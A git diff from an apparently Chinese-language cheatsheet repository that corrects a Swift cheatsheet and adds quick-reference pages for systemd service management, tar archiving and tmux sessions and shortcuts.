|
||||
- `*` 乘法
|
||||
- `/` 分配
|
||||
- `%` 余数
|
||||
- `+` 添加
|
||||
- `-` 减法
|
||||
- `*` 乘法
|
||||
- `/` 分配
|
||||
- `%` 余数
|
||||
<!--rehype:className=cols-5 style-none-->
|
||||
|
||||
----
|
||||
@ -190,7 +190,7 @@ let isMorning: Bool = true
|
||||
常量是不可变的。它们的值不能改变:
|
||||
|
||||
```swift
|
||||
让 numberOfToys: Int = 8
|
||||
let numberOfToys: Int = 8
|
||||
numberOfToys += 1
|
||||
// ❌ 错误:numberOfToys 不可变
|
||||
```
|
||||
@ -444,7 +444,7 @@ switch num {
|
||||
// 打印: 7 奇数
|
||||
```
|
||||
|
||||
### 逻辑运算符!
|
||||
### 逻辑运算符
|
||||
|
||||
```swift
|
||||
!true // false
|
||||
@ -480,6 +480,7 @@ false || false // false
|
||||
```swift
|
||||
false || true && false // false
|
||||
```
|
||||
|
||||
`true && false` 首先计算返回 `false` 然后,表达式,`false` || `false` 评估并返回最终结果 `false`
|
||||
|
||||
### 控制执行顺序
|
||||
@ -1431,9 +1432,9 @@ enum Dessert {
|
||||
let customerOrder: Dessert = .cake(flavor: "红色天鹅绒")
|
||||
switch customerOrder {
|
||||
case let .cake(flavor):
|
||||
print("你点了一个 \(flavor) 蛋糕")
|
||||
print("你点了一个 \(flavor) 蛋糕")
|
||||
case .brownie:
|
||||
print("你点了一块巧克力蛋糕")
|
||||
print("你点了一块巧克力蛋糕")
|
||||
}
|
||||
// 打印: "你点了一个红色天鹅绒蛋糕"
|
||||
```
|
||||
@ -1521,7 +1522,7 @@ enum ShirtSize: String {
|
||||
case medium = "M"
|
||||
case large = "L"
|
||||
case extraLarge = "XL"
|
||||
var description: String {
|
||||
var description: String {
|
||||
return "这件衬衫尺码是 \(self.rawValue)"
|
||||
}
|
||||
}
|
||||
@ -1534,4 +1535,4 @@ enum ShirtSize: String {
|
||||
- [快速编程语言(官方)](https://docs.swift.org/swift-book/) _(swift.or)_
|
||||
- [Learn Swift](https://www.codecademy.com/resources/cheatsheets/language/swift) _(codecademy.com)_
|
||||
- [Swift 开发人员的一站式快速参考](https://swiftly.dev/) _(swiftly.dev)_
|
||||
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_
|
||||
- [Swift 入门教程、读书笔记](https://jaywcjlove.github.io/swift-tutorial) _(jaywcjlove.github.io)_
|
||||
|
1207
docs/swiftui.md
Normal file
1207
docs/swiftui.md
Normal file
File diff suppressed because it is too large
Load Diff
110
docs/systemd.md
Normal file
110
docs/systemd.md
Normal file
@ -0,0 +1,110 @@
|
||||
Systemd
|
||||
===
|
||||
|
||||
最常用的 [Systemd](https://systemd.io/) 命令备忘单快速参考
|
||||
|
||||
命令
|
||||
----
|
||||
|
||||
### 查看系统信息
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`systemctl list-dependencies` | 显示单元的依赖关系
|
||||
`systemctl list-sockets` | 列出套接字和激活的内容
|
||||
`systemctl list-jobs` | 查看活动的 systemd 作业
|
||||
`systemctl list-unit-files` | 查看单元文件及其状态
|
||||
`systemctl list-units` | 显示单位是否已加载/活动
|
||||
`systemctl get-default` | 列出默认目标(如运行级别)
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### 改变系统状态
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`systemctl reboot` | 重启系统(reboot.target)
|
||||
`systemctl poweroff` | 关闭系统(poweroff.target)
|
||||
`systemctl emergency` | 进入紧急模式(emergency.target)
|
||||
`systemctl default` | 返回默认目标(multi-user.target)
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### 使用服务
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`systemctl stop service` | <red>停止</red>正在运行的服务
|
||||
`systemctl start service` | 启动服务
|
||||
`systemctl restart service` | 重新启动正在运行的服务
|
||||
`systemctl reload service` | 重新加载服务中的所有配置文件
|
||||
`systemctl daemon-reload` | 必须运行以重新加载更改的单元文件
|
||||
`systemctl status` | service 查看服务是否正在运行/启用
|
||||
`systemctl --failed` | 显示未能运行的服务
|
||||
`systemctl reset-failed` | 将任何单位从失败状态重置
|
||||
`systemctl enable service` | 使服务在启动时启动
|
||||
`systemctl disable service` | 禁用服务 - 不会在启动时启动
|
||||
`systemctl show service` | 显示服务(或其他单元)的属性
|
||||
`systemctl edit service` | 创建片段以放入单元文件
|
||||
`systemctl edit --full service` | 编辑整个单元文件以进行服务
|
||||
`systemctl -H host status network` | 远程运行任何 systemctl 命令
|
||||
<!--rehype:className=style-list-->
|
||||
|
||||
### 查看日志消息
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`journalctl` | 显示所有收集的日志消息
|
||||
`journalctl -u network.service` | 查看网络服务消息
|
||||
`journalctl -f` | 关注出现的消息
|
||||
`journalctl -k` | 仅显示内核消息
|
||||
|
||||
### SysVinit 到 Systemd
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
SysVinit | Systemd | 说明
|
||||
:- | - | -
|
||||
`service SERVICE_NAME start` | `systemctl start SERVICE_NAME` | 用于启动服务(不重启持久)
|
||||
`service SERVICE_NAME stop` | `systemctl stop SERVICE_NAME` | 用于停止服务(不永久重启)
|
||||
`service SERVICE_NAME restart` | `systemctl restart SERVICE_NAME` | 用于停止然后启动服务
|
||||
`service SERVICE_NAME reload` | `systemctl reload SERVICE_NAME` | 重新加载配置文件而不中断挂起的操作
|
||||
`service SERVICE_NAME condrestart` | `systemctl condrestart SERVICE_NAME` | 如果服务已在运行,则重新启动
|
||||
`service SERVICE_NAME status` | `systemctl status SERVICE_NAME` | 判断服务当前是否正在运行
|
||||
`chkconfig SERVICE_NAME on` | `systemctl enable SERVICE_NAME` | 打开服务,以便在下次启动时启动,或其他触发器
|
||||
`chkconfig SERVICE_NAME off` | `systemctl disable SERVICE_NAME` | 为下次重新启动或任何其他触发器关闭服务
|
||||
`chkconfig SERVICE_NAME` | `systemctl is-enabled SERVICE_NAME` | 用于检查服务是否配置为在当前环境中启动
|
||||
`chkconfig –list` | `systemctl list-unit-files –type=service` (or) <br/>`ls /etc/systemd/system/*.wants/` | 打印一个服务表,列出每个配置的运行级别打开或关闭
|
||||
`chkconfig –list \| grep 5:on` | `systemctl list-dependencies graphical.target` | 打印启动到图形模式时将启动的服务表
|
||||
`chkconfig SERVICE_NAME –list` | `ls /etc/systemd/system/*.wants/SERVICE_NAME.service` | 用于列出此服务配置为打开或关闭的级别
|
||||
`chkconfig SERVICE_NAME –add` | `systemctl daemon-reload` | 在创建新服务文件或修改任何配置时使用
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 目标运行级别
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
SysVinit | Systemd | 说明
|
||||
:- | - | -
|
||||
`0` | `runlevel0.target`, `poweroff.target` | 停止系统
|
||||
`1`, `s`, `single` | `runlevel1.target`, `rescue.target` | 单用户模式
|
||||
`2`, `4` | `runlevel2.target`, `runlevel4.target`, `multi-user.target` | 用户定义/站点特定的运行级别。 默认情况下,与 3 相同
|
||||
`3` | `runlevel3.target`, `multi-user.target` | 多用户,非图形。 用户通常可以通过多个控制台或通过网络登录
|
||||
`5` | `runlevel5.target`, `graphical.target` | 多用户,图形。 通常具有运行级别 3 的所有服务以及图形登录
|
||||
`6` | `runlevel6.target`, `reboot.target` | 重启
|
||||
`emergency` | `emergency.target` | 应急外壳
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 更改运行级别
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
SysVinit | Systemd | 说明
|
||||
:- | - | -
|
||||
`telinit 3` | `systemctl isolate multi-user.target` <br/>OR `systemctl isolate runlevel3.target`<br/>OR `telinit 3` | 更改为多用户运行级别
|
||||
`sed s/^id:.*:initdefault:/id:3:initdefault:/` | `ln -sf /lib/systemd/system/multi-user.target /etc/systemd/system/default.target` | 设置为在下次重新启动时使用多用户运行级别
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Systemd 官网](https://systemd.io/) _(systemd.io)_
|
||||
- [Systemd Cheat Sheet](https://access.redhat.com/sites/default/files/attachments/12052018_systemd_6.pdf) _(access.redhat.com)_
|
||||
- [Systemd Cheat Sheet](https://www.linuxtrainingacademy.com/systemd-cheat-sheet/) _(linuxtrainingacademy.com)_
|
221
docs/tar.md
Normal file
221
docs/tar.md
Normal file
@ -0,0 +1,221 @@
|
||||
tar 备忘清单
|
||||
===
|
||||
|
||||
这是 tar 常用命令的快速参考备忘单。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
|
||||
在Linux平台上,`tar` 命令是主要的归档实用程序。了解各种 `tar` 命令选项将帮助您掌握归档文件操作。`tar` 代表磁带存档。
|
||||
|
||||
#### 语法
|
||||
|
||||
```shell
|
||||
tar [-ABcdgGhiklmMoOpPrRsStuUvwWxzZ][-C <目的目录>][-f <备份文件>][--delete][--totals][文件或目录...]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
以前 unix 系统管理员使用 `tar` 执行磁带机备份。`tar` 命令用于获取文件和目录的集合,并生成高度压缩的归档文件,在Linux中通常称为 `tarball` 或 `tar`、`gzip` 和 `bzip`。
|
||||
|
||||
### 选项
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-c` | 建立新的备份文件
|
||||
`-C` | 切换到指定的目录
|
||||
`-d` | 对比备份文件内和文件系统上的文件的差异
|
||||
`-x` | 解压缩归档文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
`-t` | 查看归档文件内容
|
||||
`-j` | 通过 bzip2 指令处理备份文件
|
||||
`-z` | 通过 gzip 指令处理备份文件
|
||||
`-r` | 向现有存档文件追加或更新文件或目录
|
||||
`-W` | 验证归档文件
|
||||
`--totals` | 备份文件建立后,列出文件大小
|
||||
`--delete` | 从备份文件中删除指定的文件
|
||||
`--wildcards` | 在 unix tar 命令中指定匹配模式
|
||||
|
||||
### 创建一个 tar 格式的压缩文件
|
||||
|
||||
在当前工作目录的 `/home/cyberpunk/testdir` 目录下创建一个名为 `archive.tar` 的 `tar` 归档文件:
|
||||
|
||||
```shell
|
||||
tar -cvf archive.tar /home/cyberpunk/testdir/
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.sh
|
||||
/home/cyberpunk/testdir/file3.tar
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-c` | 建立新的备份文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
|
||||
### 创建压缩后的 `tar.gz` 存档文件
|
||||
|
||||
要创建一个压缩的 `gzip` 归档文件,我们需要使用选项 `z` 。
|
||||
|
||||
```shell
|
||||
tar cvzf compressedArchive.tar.gz /home/cyberpunk/testdir
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.jpg
|
||||
/home/cyberpunk/testdir/file3.png
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-c` | 建立新的备份文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
`-z` | 通过 `gzip` 指令处理备份文件
|
||||
|
||||
### 生成压缩率更高的 `tar.bz2` 文件
|
||||
|
||||
`tar` 的 `bz2` 压缩,可以创建比 `gzip` 文件小的归档。`Bz2` 模式执行归档压缩和解压所需的时间比 `gzip` 模式多。通常,这个时间差可以忽略不计,但如果文件非常打,或者是文件数量非常多,那么时间差就会非常大。
|
||||
|
||||
```shell
|
||||
tar cvfj Archive.tar.bz2 /home/cyberpunk/testdir
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.txt
|
||||
/home/cyberpunk/testdir/file3.txt
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-c` | 建立新的备份文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
`-j` | 通过 bzip2 指令处理备份文件
|
||||
|
||||
### 解压缩 tar 文件
|
||||
|
||||
要解压缩(提取)一个tar文件,将 `x` (提取)选项传递给该命令
|
||||
使用不带 `-C` 选项的命令将在当前工作目录中提取存档。`-C` 选项告诉命令在哪里提取存档文件。
|
||||
|
||||
```shell
|
||||
tar -xvf Archive.tar -C /home/cyberpunk/testdir/
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.txt
|
||||
/home/cyberpunk/testdir/file3.txt
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-x` | 解压缩归档文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
|
||||
### 解压缩 tar.gz 文件
|
||||
|
||||
小知识:使用 `tar` 命令创建的所有归档文件,都可以以相同的方式提取。
|
||||
|
||||
```shell
|
||||
tar -xvf Archive.tar.gz
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.txt
|
||||
/home/cyberpunk/testdir/file3.txt
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-x` | 解压缩归档文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
|
||||
### 解压缩 tar.bz2 文件
|
||||
|
||||
小知识:使用 `tar` 命令创建的所有归档文件,都可以以相同的方式提取。
|
||||
|
||||
```shell
|
||||
tar -xvf Archive.tar.bz2
|
||||
|
||||
/home/cyberpunk/testdir/
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.txt
|
||||
/home/cyberpunk/testdir/file3.txt
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-x` | 解压缩归档文件
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
|
||||
### 列出归档内容
|
||||
<!--rehype:wrap-class=col-span-1 row-span-2-->
|
||||
使用 `t` 选项列出 `tar` 归档文件的内容:
|
||||
|
||||
```shell
|
||||
# tar -tvf uploadprogress.tar
|
||||
|
||||
-rwxr--r-- root/root 1111 2014-10-19 12:33:42 file1.txt
|
||||
-rwxr--r-- root/root 1111 2014-10-19 12:33:42 file2.txt
|
||||
-rwxr--r-- root/root 1111 2014-10-19 12:33:42 file3.txt
|
||||
-rwxr--r-- root/root 1111 2014-10-19 12:33:42 file4.txt
|
||||
```
|
||||
|
||||
本例中使用的选项有:
|
||||
:- | -
|
||||
:- | -
|
||||
`-t` | 查看归档文件内容
|
||||
`-v` | 显示指令执行过程
|
||||
`-f` | 指定归档文件的文件名
|
||||
|
||||
### 从 tar 归档文件中提取单个文件
|
||||
|
||||
```shell
|
||||
tar --extract --file=archive.tar file1.txt
|
||||
|
||||
file1.txt
|
||||
```
|
||||
|
||||
### 从 tar 归档文件中提取多个文件
|
||||
|
||||
```shell
|
||||
tar -xvf Archive.tar "file 1" "file 2"
|
||||
```
|
||||
|
||||
### 使用通配符提取文件组
|
||||
|
||||
```shell
|
||||
# tar -xvf Archive.tar --wildcards *.txt'
|
||||
|
||||
/home/cyberpunk/testdir/file1.txt
|
||||
/home/cyberpunk/testdir/file2.txt
|
||||
/home/cyberpunk/testdir/file3.txt
|
||||
```
|
||||
|
||||
### 添加文件或目录到 tar 存档中
|
||||
|
||||
要向现有的 `tar` 文件中添加文件或目录,可以使用 `r` 选项。例如,我们将 `xyz.txt` 文件和 `php` 目录添加到现有的 `tecmint-14-09-12.tar` 归档文件中。
|
||||
|
||||
```shell
|
||||
# tar -rvf Archive.tar xyz.txt #add file
|
||||
or
|
||||
# tar -rvf Archive.tar php # add directory
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
[Linux Tar Commands Cheatsheet](https://neverendingsecurity.wordpress.com/2015/04/13/linux-tar-commands-cheatsheet/)
|
243
docs/tmux.md
Normal file
243
docs/tmux.md
Normal file
@ -0,0 +1,243 @@
|
||||
Tmux 备忘清单
|
||||
===
|
||||
|
||||
最常用的快捷键和命令的 tmux 备忘单快速参考
|
||||
|
||||
Tmux CLI
|
||||
-------
|
||||
|
||||
### 新会话
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
开始一个新的会话
|
||||
|
||||
```bash
|
||||
$ tmux
|
||||
$ tmux new
|
||||
$ tmux new-session
|
||||
|
||||
:new
|
||||
```
|
||||
|
||||
开始一个名为 myname 的新会话
|
||||
|
||||
```bash
|
||||
$ tmux new -s myname
|
||||
|
||||
:new -s myname
|
||||
```
|
||||
|
||||
显示所有会话,或者 <kbd>Ctrl</kbd> + <kbd>b</kbd> + <kbd>s</kbd> 快捷键
|
||||
|
||||
```bash
|
||||
$ tmux ls
|
||||
$ tmux list-sessions
|
||||
```
|
||||
|
||||
### 附加会话
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
附加到上一个会话
|
||||
|
||||
```bash
|
||||
$ tmux a
|
||||
$ tmux at
|
||||
$ tmux attach
|
||||
$ tmux attach-session
|
||||
```
|
||||
|
||||
附加到命名
|
||||
|
||||
```bash
|
||||
$ tmux a -t myname
|
||||
```
|
||||
|
||||
附加到名为 myname 的会话
|
||||
|
||||
```bash
|
||||
$ tmux a -t myname
|
||||
$ tmux at -t myname
|
||||
$ tmux attach -t myname
|
||||
$ tmux attach-session -t myname
|
||||
```
|
||||
|
||||
### 终止会话
|
||||
|
||||
按名称终止会话
|
||||
|
||||
```bash
|
||||
$ tmux kill-ses -t myname # 杀死/删除会话
|
||||
$ tmux kill-session -t myname
|
||||
```
|
||||
|
||||
杀死/删除除当前会话之外的所有会话
|
||||
|
||||
```bash
|
||||
$ tmux kill-ses -a
|
||||
```
|
||||
|
||||
杀死/删除除 myname 之外的所有会话
|
||||
|
||||
```bash
|
||||
$ tmux kill-ses -a -t myname
|
||||
```
|
||||
|
||||
### Tmux 帮助
|
||||
|
||||
```bash
|
||||
$ tmux info
|
||||
```
|
||||
|
||||
### 配置
|
||||
|
||||
重新加载配置
|
||||
|
||||
```bash
|
||||
$ tmux source-file ~/.tmux.conf
|
||||
```
|
||||
|
||||
显示配置
|
||||
|
||||
```bash
|
||||
$ tmux show-options -g
|
||||
```
|
||||
|
||||
### 复制模式
|
||||
|
||||
命令 | 描述
|
||||
:- | -
|
||||
`Ctrl+b` `[` | 进入复制模式
|
||||
`<Space>` | 开始选择
|
||||
`Enter` | 复制选择
|
||||
`q` | 退出复制模式
|
||||
`Ctrl+b` `]` | 粘贴 buffer_0 的内容
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
主要作用类似于在 [Vim](./vim.md#动作) 中选择文本
|
||||
|
||||
Tmux 快捷键
|
||||
----------
|
||||
|
||||
### 入门
|
||||
<!--rehype:style=background:rgb(245 158 11/1);-->
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
| `Ctrl+b` `?` | List all shortcuts |
|
||||
<!--rehype:className=shortcuts show-header-->
|
||||
|
||||
----
|
||||
|
||||
显示每个会话、窗口、窗格等
|
||||
|
||||
```bash
|
||||
$ tmux info
|
||||
```
|
||||
|
||||
### 窗格(拆分)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`Ctrl+b` `"` _/_ `%` | 水平分割/垂直
|
||||
`Ctrl+b` `!` | 窗格 -> 窗口
|
||||
`Ctrl+b` `x` | 杀死窗格
|
||||
`Ctrl+b` \<Arrow> | 导航窗格
|
||||
`Ctrl+b` \<Space> | 切换布局
|
||||
`Ctrl+b` `{` _/_ `}` | 向左/向右移动
|
||||
`Ctrl+b` `o` | 转到下一个窗格
|
||||
`Ctrl+b` `z` | 切换全屏
|
||||
`Ctrl+b` `;` | 切换最后一个窗格
|
||||
`Ctrl+b` `q` | 显示号码
|
||||
`Ctrl+b` `q` `0`...`9` | 转到 # 窗格
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### Window (Tabs)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`Ctrl+b` `c` | 创建窗口
|
||||
`Ctrl+b` `p` _/_ `n` | 上一个/下一个窗口
|
||||
`Ctrl+b` `"` _/_ `%` | 水平分割/垂直
|
||||
`Ctrl+b` `w` | 列表窗口
|
||||
`Ctrl+b` `,` | 重命名窗口
|
||||
`Ctrl+b` `f` | 查找窗口
|
||||
`Ctrl+b` `l` | 最后一个窗口
|
||||
`Ctrl+b` `.` | 移动窗口
|
||||
`Ctrl+b` `&` | 关闭窗口
|
||||
`Ctrl+b` `0`...`9` | 转到#窗口
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 会话(Windows 组)
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`Ctrl+b` `d` | <red>从会话中分离</red>
|
||||
`Ctrl+b` `s` | 显示所有会话
|
||||
`Ctrl+b` `$` | 重命名会话
|
||||
`Ctrl+b` `(` _/_ `)` | 上一届/下一届
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
Tmux 命令模式
|
||||
-----------
|
||||
|
||||
### 用法
|
||||
<!--rehype:style=background:rgb(245 158 11/1);-->
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`Ctrl+b` `:` | 进入命令模式
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 调整大小
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`resize-pane -D 20` | 缩小尺寸
|
||||
`resize-pane -U 20` | 调整大小
|
||||
`resize-pane -L 20` | 向左调整大小
|
||||
`resize-pane -R 20` | 向右调整大小
|
||||
|
||||
### 清单
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`list-keys` | 所有命令
|
||||
`list-panes` | 所有窗格
|
||||
`list-windows` | 所有窗口
|
||||
|
||||
### 复印
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`list-buffers` | 列出所有缓冲区
|
||||
`show-buffer` | 显示 #0 内容
|
||||
`capture-pane` | 窗格的副本
|
||||
`choose-buffer` | 显示和粘贴
|
||||
`save-buffer a.txt` | 保存到文件
|
||||
`delete-buffer -b 1` | 删除缓冲区 1
|
||||
|
||||
### 环境
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`set -g OPTION` | 为所有会话设置
|
||||
`setw -g OPTION` | 为所有窗口设置
|
||||
`setw -g mode-keys vi` | 启用 vi 模式
|
||||
`set -g prefix C-a` | 设置前缀
|
||||
|
||||
### 杂项
|
||||
|
||||
快捷键/命令 | 描述
|
||||
:- | -
|
||||
`swap-pane -s 3 -t 1` | 交换窗格
|
||||
`swap-window -t -1` | 向左移动
|
||||
`setw synchronize-panes` | 同步窗格
|
||||
`join-pane -t :#` | 加入窗格
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Tmux 开源仓库](https://github.com/tmux/tmux) _(github.com)_
|
||||
- [Tmux Cheat Sheet & Quick Reference](https://tmuxcheatsheet.com/) _(tmuxcheatsheet.com)_
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user